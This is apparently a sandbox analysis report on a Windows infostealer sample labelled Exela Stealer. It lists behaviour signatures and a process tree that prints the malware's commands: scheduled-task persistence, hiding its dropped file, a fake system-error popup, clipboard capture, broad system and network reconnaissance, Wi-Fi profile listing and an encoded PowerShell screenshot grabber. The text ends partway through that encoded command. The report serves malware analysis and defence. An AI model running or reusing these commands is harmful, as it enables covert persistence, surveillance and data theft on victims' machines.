Overview

overview

10

Static

static

3

2026-07-07...ar.exe

windows10-2004-x64

10

2026-07-07...ar.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    65s
  • max time network
    137s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 22:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-07_e917652728db6cea49e3c8125bb717f3_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
  • Size 9.9MB
  • Sample260707-2d36bafs2x
  • SHA256 14451f9a404fe320fe9147977e6e0c68229e946218d8e241656d329643f522ff
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecollectioncredential_accessdefense_evasiondiscoveryexecutionexelastealerpersistenceprivilege_escalationpyinstallerspywarestealerupx

Malware Config

Signatures

  • Family: Exela Stealer

    Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.

    stealerexelastealer
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 63 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Service Discovery 1 TTPs 2 IoCs

    Attempt to gather information on host's network.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 5 IoCs
    discovery
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
    defense_evasion
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • System Network Connections Discovery 1 TTPs 1 IoCs

    Attempt to get a listing of network connections.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 42 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Collects information from the system 1 TTPs 1 IoCs

    Uses WMIC.exe to find detailed system information.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Views/modifies file attributes 1 TTPs 1 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-07_e917652728db6cea49e3c8125bb717f3_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-07_e917652728db6cea49e3c8125bb717f3_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4420
    • C:\Users\Admin\AppData\Local\Temp\2026-07-07_e917652728db6cea49e3c8125bb717f3_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-07_e917652728db6cea49e3c8125bb717f3_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4392
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "ver"
        3⤵
          PID:988
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1132
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic path win32_VideoController get name
            4⤵
            • Detects videocard installed
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:6004
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1752
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic computersystem get Manufacturer
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4400
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "gdb --version"
          3⤵
            PID:3008
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4648
            • C:\Windows\system32\tasklist.exe
              tasklist
              4⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:5212
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2452
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic path Win32_ComputerSystem get Manufacturer
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:296
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3704
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic csproduct get uuid
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4768
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3752
            • C:\Windows\system32\tasklist.exe
              tasklist
              4⤵
              • Enumerates processes with tasklist
              PID:4556
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\RealUpdateService\Reality.exe""
            3⤵
            • Hide Artifacts: Hidden Files and Directories
            • Suspicious use of WriteProcessMemory
            PID:2500
            • C:\Windows\system32\attrib.exe
              attrib +h +s "C:\Users\Admin\AppData\Local\RealUpdateService\Reality.exe"
              4⤵
              • Views/modifies file attributes
              PID:5360
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "schtasks /query /TN "RealUpdateService""
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2020
            • C:\Windows\system32\schtasks.exe
              schtasks /query /TN "RealUpdateService"
              4⤵
                PID:2096
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "schtasks /create /f /sc onlogon /rl highest /tn "RealUpdateService" /tr "C:\Users\Admin\AppData\Local\RealUpdateService\Reality.exe""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5860
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc onlogon /rl highest /tn "RealUpdateService" /tr "C:\Users\Admin\AppData\Local\RealUpdateService\Reality.exe"
                4⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5064
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "schtasks /create /f /sc hourly /mo 1 /rl highest /tn "RealUpdateService2" /tr "C:\Users\Admin\AppData\Local\RealUpdateService\Reality.exe""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3228
              • C:\Windows\system32\schtasks.exe
                schtasks /create /f /sc hourly /mo 1 /rl highest /tn "RealUpdateService2" /tr "C:\Users\Admin\AppData\Local\RealUpdateService\Reality.exe"
                4⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1864
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1624
              • C:\Windows\system32\mshta.exe
                mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
                4⤵
                  PID:5596
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4996
                • C:\Windows\system32\tasklist.exe
                  tasklist
                  4⤵
                  • Enumerates processes with tasklist
                  PID:3412
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1556
                • C:\Windows\system32\cmd.exe
                  cmd.exe /c chcp
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5264
                  • C:\Windows\system32\chcp.com
                    chcp
                    5⤵
                      PID:4992
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1304
                  • C:\Windows\system32\cmd.exe
                    cmd.exe /c chcp
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:5476
                    • C:\Windows\system32\chcp.com
                      chcp
                      5⤵
                        PID:5640
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3000
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:5548
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
                    3⤵
                    • Clipboard Data
                    • Suspicious use of WriteProcessMemory
                    PID:992
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe Get-Clipboard
                      4⤵
                      • Clipboard Data
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3860
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
                    3⤵
                    • Network Service Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:4824
                    • C:\Windows\system32\systeminfo.exe
                      systeminfo
                      4⤵
                      • Gathers system information
                      PID:6048
                    • C:\Windows\system32\HOSTNAME.EXE
                      hostname
                      4⤵
                        PID:2448
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic logicaldisk get caption,description,providername
                        4⤵
                        • Collects information from the system
                        • Suspicious behavior: EnumeratesProcesses
                        PID:6004
                      • C:\Windows\system32\net.exe
                        net user
                        4⤵
                        • Suspicious use of WriteProcessMemory
                        PID:5968
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user
                          5⤵
                            PID:2816
                        • C:\Windows\system32\query.exe
                          query user
                          4⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3296
                          • C:\Windows\system32\quser.exe
                            "C:\Windows\system32\quser.exe"
                            5⤵
                              PID:2728
                          • C:\Windows\system32\net.exe
                            net localgroup
                            4⤵
                            • Suspicious use of WriteProcessMemory
                            PID:6044
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 localgroup
                              5⤵
                                PID:4292
                            • C:\Windows\system32\net.exe
                              net localgroup administrators
                              4⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3436
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 localgroup administrators
                                5⤵
                                  PID:5468
                              • C:\Windows\system32\net.exe
                                net user guest
                                4⤵
                                • Suspicious use of WriteProcessMemory
                                PID:5820
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user guest
                                  5⤵
                                    PID:3908
                                • C:\Windows\system32\net.exe
                                  net user administrator
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:560
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user administrator
                                    5⤵
                                      PID:2456
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic startup get caption,command
                                    4⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:4504
                                  • C:\Windows\system32\tasklist.exe
                                    tasklist /svc
                                    4⤵
                                    • Enumerates processes with tasklist
                                    PID:4364
                                  • C:\Windows\system32\ipconfig.exe
                                    ipconfig /all
                                    4⤵
                                    • Gathers network information
                                    PID:1240
                                  • C:\Windows\system32\ROUTE.EXE
                                    route print
                                    4⤵
                                      PID:5608
                                    • C:\Windows\system32\ARP.EXE
                                      arp -a
                                      4⤵
                                      • Network Service Discovery
                                      PID:5932
                                    • C:\Windows\system32\NETSTAT.EXE
                                      netstat -ano
                                      4⤵
                                      • System Network Connections Discovery
                                      • Gathers network information
                                      PID:1960
                                    • C:\Windows\system32\sc.exe
                                      sc query type= service state= all
                                      4⤵
                                      • Launches sc.exe
                                      PID:4528
                                    • C:\Windows\system32\netsh.exe
                                      netsh firewall show state
                                      4⤵
                                      • Modifies Windows Firewall
                                      • Event Triggered Execution: Netsh Helper DLL
                                      PID:5100
                                    • C:\Windows\system32\netsh.exe
                                      netsh firewall show config
                                      4⤵
                                      • Modifies Windows Firewall
                                      • Event Triggered Execution: Netsh Helper DLL
                                      PID:4220
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
                                    3⤵
                                    • System Network Configuration Discovery: Wi-Fi Discovery
                                    • Suspicious use of WriteProcessMemory
                                    PID:3500
                                    • C:\Windows\system32\netsh.exe
                                      netsh wlan show profiles
                                      4⤵
                                      • Event Triggered Execution: Netsh Helper DLL
                                      • System Network Configuration Discovery: Wi-Fi Discovery
                                      PID:1324
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                    3⤵
                                      PID:3372
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic csproduct get uuid
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:2072
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                      3⤵
                                        PID:6076
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQA